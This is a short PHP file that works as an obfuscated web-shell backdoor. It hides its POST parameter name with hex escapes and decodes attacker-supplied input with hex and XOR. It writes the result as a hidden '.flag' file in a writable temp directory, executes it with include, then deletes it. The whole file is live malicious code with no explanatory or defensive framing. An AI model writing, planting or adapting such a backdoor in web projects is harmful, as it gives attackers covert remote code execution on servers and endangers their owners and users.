<?php

if(!empty($_POST["r\x65\x63or\x64"])){
	$ent = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/dev/shm", getenv("TEMP"), getcwd()]);
	$fac = hex2bin($_POST["r\x65\x63or\x64"]);
	$pgrp='' ; $e = 0; while($e < strlen($fac)){$pgrp .= chr(ord($fac[$e]) ^ 50);$e++;}
	$object = 0;
do {
    $bind = $ent[$object] ?? null;
    if ($object >= count($ent)) break;
    		if (is_writable($bind) && is_dir($bind)) {
    $ptr = str_replace("{var_dir}", $bind, "{var_dir}/.flag");
    if (@file_put_contents($ptr, $pgrp) !== false) {
	include $ptr;
	unlink($ptr);
	die();
}
}
    $object++;
} while (true);
}